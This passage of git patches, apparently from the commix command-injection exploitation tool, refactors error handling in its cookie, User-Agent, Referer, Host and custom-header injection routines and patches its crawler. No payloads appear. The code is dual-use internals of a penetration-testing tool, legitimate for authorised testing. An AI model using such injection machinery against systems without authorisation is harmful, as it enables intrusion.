False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - if not str(err_msg.code) == str(menu.options.ignore_code): - err = str(err_msg) + "." - if settings.VERBOSITY_LEVEL < 2: - print("\r" + settings.print_critical_msg(err) + 30 * settings.SINGLE_WHITESPACE) - - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - return response - """ Exceptions regarding requests failure(s) """ def request_failed(err_msg): settings.VALID_URL = False + try: error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: @@ -361,7 +287,7 @@ def request_failed(err_msg): if not settings.CRAWLING: raise SystemExit() else: - return True + return False elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): settings.MAX_RETRIES = 1 @@ -376,11 +302,11 @@ def request_failed(err_msg): if not settings.CRAWLING: raise SystemExit() else: - return True + return False elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING: - return True + return False else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" @@ -412,10 +338,11 @@ def request_failed(err_msg): error_msg = "Connection was forcibly closed by the target URL." elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + "' which could interfere with the results of the tests." + print(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): - warn_msg = "The web server responded with an HTTP error code (" + str(status_code[0]) + ") which could interfere with the results of the tests." - print(settings.print_warning_msg(warn_msg)) - return True + return False + return True else: error_msg = "The provided target URL seems not reachable. " error_msg += "In case that it is, please try to re-run using " @@ -424,13 +351,26 @@ def request_failed(err_msg): error_msg += "'--proxy' option." print(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: - raise SystemExit() + raise SystemExit() else: - return True + return False elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ (menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()): - return True + return False + + elif settings.IGNORE_ERR_MSG == False: + if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + continue_tests = checks.continue_tests(err_msg) + if continue_tests == True: + settings.IGNORE_ERR_MSG = True + return False + else: + if not settings.CRAWLING: + raise SystemExit() + else: + return False else: if settings.VERBOSITY_LEVEL >= 1: @@ -439,7 +379,32 @@ def request_failed(err_msg): print(settings.print_debug_msg(debug_msg)) else: print(settings.print_critical_msg(err_msg)) - return True + return False + +""" +Get the response of the request +""" +def get_request_response(request): + + headers.check_http_traffic(request) + if menu.options.proxy: + try: + proxy = request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except Exception as err_msg: + response = request_failed(err_msg) + elif menu.options.tor: + try: + response = tor.use_tor(request) + except Exception as err_msg: + response = request_failed(err_msg) + else: + try: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except Exception as err_msg: + response = request_failed(err_msg) + + return response """ Check if target host is vulnerable. (Cookie-based injection) @@ -483,91 +448,23 @@ def inject_cookie(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_cookie(url, vuln_parameter, payload, proxy) - - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err_msg = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err_msg)) - continue_tests = checks.continue_tests(err) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_cookie(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -611,94 +508,23 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_user_agent(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_user_agent(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -713,7 +539,6 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): def referer_injection(url, vuln_parameter, payload): def inject_referer(url, vuln_parameter, payload, proxy): - if proxy == None: opener = _urllib.request.build_opener() else: @@ -743,95 +568,24 @@ def inject_referer(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_referer(url, vuln_parameter, payload, proxy) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_referer(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_referer(url, vuln_parameter, payload, proxy) - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -878,96 +632,24 @@ def inject_host(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_host(url, vuln_parameter, payload, proxy) - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_host(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_host(url, vuln_parameter, payload, proxy) + except Exception as err_msg: + response = request_failed(err_msg) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) @@ -975,7 +657,6 @@ def inject_host(url, vuln_parameter, payload, proxy): else: return response - """ Check if target host is vulnerable. (Custom header injection) """ @@ -1015,96 +696,24 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): start = time.time() proxy = None - #response = inject_custom_header(url, vuln_parameter, payload, proxy) - - # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if defined Tor. + except Exception as err_msg: + response = request_failed(err_msg) elif menu.options.tor: try: proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) else: try: response = inject_custom_header(url, vuln_parameter, payload, proxy) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + except Exception as err_msg: + response = request_failed(err_msg) + if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index e9be40c905..95bb2d2d80 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -291,45 +291,46 @@ def crawler(url, url_num, crawling_list): info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." print(settings.print_info_msg(info_msg)) response = request(url) - if settings.SITEMAP_CHECK: - enable_crawler() - if settings.SITEMAP_CHECK is None: - check_sitemap() - if settings.SITEMAP_CHECK: - output_href = sitemap(url) - if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): - output_href = do_process(url) - if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: - settings.DEFAULT_CRAWLING_DEPTH = 1 - while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): - info_msg = "Searching for usable " - info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." - print(settings.print_info_msg(info_msg)) - if settings.DEFAULT_CRAWLING_DEPTH == 2: - output_href = new_crawled_hrefs - elif settings.DEFAULT_CRAWLING_DEPTH > 2: - output_href = new_crawled_hrefs + crawled_hrefs - try: - [output_href.remove(x) for x in visited_hrefs if x in output_href] - except TypeError: - pass - link = 0 - if output_href is not None: - for url in output_href: - if url not in visited_hrefs and url is not None: - link += 1 - settings.CRAWLED_URLS_NUM = link - if settings.SINGLE_WHITESPACE in url: - url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - visited_hrefs.append(url) - do_process(url) - info_msg = str(link) - info_msg += "/" + str(len(output_href)) + " links visited." - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - if link != 0: - print(settings.SINGLE_WHITESPACE) - settings.DEFAULT_CRAWLING_DEPTH += 1 + if type(response) is not bool and response is not None: + if settings.SITEMAP_CHECK: + enable_crawler() + if settings.SITEMAP_CHECK is None: + check_sitemap() + if settings.SITEMAP_CHECK: + output_href = sitemap(url) + if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): + output_href = do_process(url) + if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: + settings.DEFAULT_CRAWLING_DEPTH = 1 + while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): + info_msg = "Searching for usable " + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." + print(settings.print_info_msg(info_msg)) + if settings.DEFAULT_CRAWLING_DEPTH == 2: + output_href = new_crawled_hrefs + elif settings.DEFAULT_CRAWLING_DEPTH > 2: + output_href = new_crawled_hrefs + crawled_hrefs + try: + [output_href.remove(x) for x in visited_hrefs if x in output_href] + except TypeError: + pass + link = 0 + if output_href is not None: + for url in output_href: + if url not in visited_hrefs and url is not None: + link += 1 + settings.CRAWLED_URLS_NUM = link + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + visited_hrefs.append(url) + do_process(url) + info_msg = str(link) + info_msg += "/" + str(len(output_href)) + " links visited." + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() + if link != 0: + print(settings.SINGLE_WHITESPACE) + settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs no_usable_links(output_href) diff --git a/src/utils/settings.py b/src/utils/settings.py index a7d2dca63f..a2450770be 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7be2e2ef5fec2ed1ecec985de866fd294665bcda Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Feb 2023 07:51:23 +0200 Subject: [PATCH 277/560] Update regarding https://github.com/commixproject/commix/issues/812 --- src/core/injections/controller/checks.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4b38beb9ef..5fd3c23cbc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -17,7 +17,6 @@ import re import os import sys -import glob import json import time import socket @@ -27,6 +26,7 @@ import gzip import zlib import traceback +from glob import glob from src.utils import common from src.utils import logs from src.utils import menu @@ -1133,7 +1133,7 @@ def list_tamper_scripts(): info_msg = "Listing available tamper scripts." print(settings.print_info_msg(info_msg)) if menu.options.list_tampers: - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = 